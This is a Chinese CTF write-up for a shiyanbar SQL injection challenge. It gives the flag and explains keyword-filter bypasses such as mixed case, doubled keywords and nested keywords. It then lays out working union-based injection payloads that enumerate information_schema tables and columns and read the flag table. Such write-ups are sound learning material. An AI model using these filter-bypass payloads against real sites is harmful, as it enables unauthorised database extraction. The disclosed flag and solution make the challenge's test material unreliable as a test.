通过注入获得flag值(提交格式:flag{})。
解题链接: http://ctf5.shiyanbar.com/423/web/ 通过
答案:
flag{Y0u_@r3_5O_dAmn_90Od}
关键词被过滤:解决方法如下
1大小写交替: Order SeLect
2.双写 : OderOrder SelectSelect
3.交叉: selecselectt
注释符被过滤,解决方法如下:
1.用 '号闭合 ,如having , where
详细资料摘录:ctf sql注入关键词绕过【积累中】
解析(摘自实验吧-web 简单的sql注入)步骤:
1.查询当前的数据库
‘++unionunion++all++selectselect++database()'
2.查询元数据库中的所有的表的名字
1%27++unionunion++selectselect++table_name++fromfrom++information_schema.tables++wherewhere++%271%27=%271
where ’1=1用来构成语句同时屏蔽掉后面的‘,单行注释没用的时候可以这样做
ps:where 1=1 详解
where 1=1是sql语句条件逻辑判断表达式,由于1=1成立,恒为真,该表达式1=1将始终返回"真"。这种写法实际目的是为了获取逻辑值"True",其实诸如2=2, 1+2=3,'中'='中'等之类的写法都可以返回逻辑值"True",只不过1=1的运算开销更小,故被应用的最普遍。
下面例子将有助于理解有关概念:
1) select * from t1 where 1=1;
-- 实际等效于select * from t1 where true;
-- 语句将返回t1中所有的记录行
2) select * from t1 where 1<>1;
-- 实际等效于 select * from t1 where false;
-- 语句将返回空记录集
说明,例1)实际上等同于不加任何筛选条件,有些画蛇添足,where 1=1的实际意义不如where 1<>1来得有用,当我们只需要获取表的字段(结构)信息,而不需要理会实际保存的记录时,例2)的写法将是非常可去取的,因为系统仅会读取结构信息,而不会将具体的表记录读入内存中,这无疑节省了系统开销。
3.查询字段名
1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag
列出表名为flag的表的字段
information_schema.coluinformation_schema.columnsmns:这里采用了交叉绕 原为-->information_schema.columus
column_name(s) :数据库表中所有列的名称,column_name是一个列名称
ps:
information_schema数据库表说明:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
4.最后构造出
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
从flag表中的flag字段中读取记录